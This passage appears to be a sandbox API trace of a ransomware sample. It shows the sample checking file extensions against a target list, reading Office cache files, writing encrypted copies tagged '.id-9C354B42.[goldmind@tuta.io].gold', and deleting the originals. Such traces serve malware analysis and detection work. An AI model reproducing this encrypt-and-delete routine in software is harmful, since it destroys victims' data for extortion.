Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.896] lstrlenW (lpString=".doc") returned 4 [0034.896] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString=".docx") returned 5 [0034.896] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.896] lstrlenW (lpString=".pdf") returned 4 [0034.896] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString=".xls") returned 4 [0034.896] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString=".xlsx") returned 5 [0034.896] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.896] lstrlenW (lpString=".ppt") returned 4 [0034.896] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.896] lstrlenW (lpString=".zip") returned 4 [0034.896] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.896] lstrlenW (lpString=".rar") returned 4 [0034.896] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString=".bz2") returned 4 [0034.896] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString=".7z") returned 3 [0034.896] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.896] lstrlenW (lpString=".dbf") returned 4 [0034.896] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.896] lstrlenW (lpString=".1cd") returned 4 [0034.896] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.896] lstrlenW (lpString=".jpg") returned 4 [0034.896] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.897] lstrlenW (lpString=".doc") returned 4 [0034.897] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString=".docx") returned 5 [0034.897] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.897] lstrlenW (lpString=".pdf") returned 4 [0034.897] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString=".xls") returned 4 [0034.897] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString=".xlsx") returned 5 [0034.897] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.897] lstrlenW (lpString=".ppt") returned 4 [0034.897] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.897] lstrlenW (lpString=".zip") returned 4 [0034.897] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.897] lstrlenW (lpString=".rar") returned 4 [0034.897] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString=".bz2") returned 4 [0034.897] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString=".7z") returned 3 [0034.897] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.897] lstrlenW (lpString=".dbf") returned 4 [0034.897] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.897] lstrlenW (lpString=".1cd") returned 4 [0034.897] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.897] lstrlenW (lpString=".jpg") returned 4 [0034.897] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.897] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.897] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0034.897] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.163] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=913) returned 1 [0035.163] CloseHandle (hObject=0x184) returned 1 [0035.163] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0035.163] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.163] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.172] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.173] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.173] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0035.173] GetLastError () returned 0x0 [0035.173] ReadFile (in: hFile=0x184, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x391, lpOverlapped=0x0) returned 1 [0035.174] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0035.175] ReadFile (in: hFile=0x184, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.175] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.175] SetEndOfFile (hFile=0x1a4) returned 1 [0035.175] CloseHandle (hObject=0x1a4) returned 1 [0035.176] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.176] SetEndOfFile (hFile=0x184) returned 1 [0035.176] CloseHandle (hObject=0x184) returned 1 [0035.176] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.176] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0035.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.177] lstrlenW (lpString=".doc") returned 4 [0035.177] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.177] lstrlenW (lpString=".docx") returned 5 [0035.177] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.177] lstrlenW (lpString=".pdf") returned 4 [0035.177] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.177] lstrlenW (lpString=".xls") returned 4 [0035.177] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.177] lstrlenW (lpString=".xlsx") returned 5 [0035.177] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.177] lstrlenW (lpString=".ppt") returned 4 [0035.177] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.177] lstrlenW (lpString=".zip") returned 4 [0035.177] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.177] lstrlenW (lpString=".rar") returned 4 [0035.177] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.177] lstrlenW (lpString=".bz2") returned 4 [0035.177] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.177] lstrlenW (lpString=".7z") returned 3 [0035.177] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.177] lstrlenW (lpString=".dbf") returned 4 [0035.177] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.177] lstrlenW (lpString=".1cd") returned 4 [0035.177] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.177] lstrlenW (lpString=".jpg") returned 4 [0035.177] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.177] lstrlenW (lpString=".doc") returned 4 [0035.177] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.177] lstrlenW (lpString=".docx") returned 5 [0035.177] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.177] lstrlenW (lpString=".pdf") returned 4 [0035.178] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.178] lstrlenW (lpString=".xls") returned 4 [0035.178] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.178] lstrlenW (lpString=".xlsx") returned 5 [0035.178] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.178] lstrlenW (lpString=".ppt") returned 4 [0035.178] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.178] lstrlenW (lpString=".zip") returned 4 [0035.178] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.178] lstrlenW (lpString=".rar") returned 4 [0035.178] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.178] lstrlenW (lpString=".bz2") returned 4 [0035.178] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.178] lstrlenW (lpString=".7z") returned 3 [0035.178] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.178] lstrlenW (lpString=".dbf") returned 4 [0035.178] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.178] lstrlenW (lpString=".1cd") returned 4 [0035.178] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.178] lstrlenW (lpString=".jpg") returned 4 [0035.178] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.178] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.178] lstrlenW (lpString="AccessMUI.xml") returned 13 [0035.178] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.180] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1349) returned 1 [0035.180] CloseHandle (hObject=0x184) returned 1 [0035.180] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0035.180] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.180] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.180] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.180] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.180] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0035.180] GetLastError () returned 0x0 [0035.180] ReadFile (in: hFile=0x184, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x545, lpOverlapped=0x0) returned 1 [0035.181] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x550, lpOverlapped=0x0) returned 1 [0035.182] ReadFile (in: hFile=0x184, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.182] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.182] SetEndOfFile (hFile=0x1a4) returned 1 [0035.182] CloseHandle (hObject=0x1a4) returned 1 [0035.183] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.183] SetEndOfFile (hFile=0x184) returned 1 [0035.184] CloseHandle (hObject=0x184) returned 1 [0035.184] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.184] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0035.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.184] lstrlenW (lpString=".doc") returned 4 [0035.184] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.184] lstrlenW (lpString=".docx") returned 5 [0035.184] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.184] lstrlenW (lpString=".pdf") returned 4 [0035.184] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.184] lstrlenW (lpString=".xls") returned 4 [0035.184] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.184] lstrlenW (lpString=".xlsx") returned 5 [0035.184] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.184] lstrlenW (lpString=".ppt") returned 4 [0035.184] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.185] lstrlenW (lpString=".zip") returned 4 [0035.185] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.185] lstrlenW (lpString=".rar") returned 4 [0035.185] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString=".bz2") returned 4 [0035.185] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString=".7z") returned 3 [0035.185] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.185] lstrlenW (lpString=".dbf") returned 4 [0035.185] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.185] lstrlenW (lpString=".1cd") returned 4 [0035.185] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.185] lstrlenW (lpString=".jpg") returned 4 [0035.185] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.185] lstrlenW (lpString=".doc") returned 4 [0035.185] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString=".docx") returned 5 [0035.185] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.185] lstrlenW (lpString=".pdf") returned 4 [0035.185] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString=".xls") returned 4 [0035.185] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString=".xlsx") returned 5 [0035.185] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.185] lstrlenW (lpString=".ppt") returned 4 [0035.185] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.185] lstrlenW (lpString=".zip") returned 4 [0035.185] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.185] lstrlenW (lpString=".rar") returned 4 [0035.185] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString=".bz2") returned 4 [0035.185] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString=".7z") returned 3 [0035.185] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.185] lstrlenW (lpString=".dbf") returned 4 [0035.185] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.185] lstrlenW (lpString=".1cd") returned 4 [0035.186] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.186] lstrlenW (lpString=".jpg") returned 4 [0035.186] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.186] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.186] lstrlenW (lpString="branding.xml") returned 12 [0035.186] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.186] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=596341) returned 1 [0035.186] CloseHandle (hObject=0x184) returned 1 [0035.186] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0035.186] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.186] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.186] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.186] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.186] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0035.187] GetLastError () returned 0x0 [0035.187] ReadFile (in: hFile=0x184, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x91975, lpOverlapped=0x0) returned 1 [0035.198] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0035.205] ReadFile (in: hFile=0x184, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.205] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, 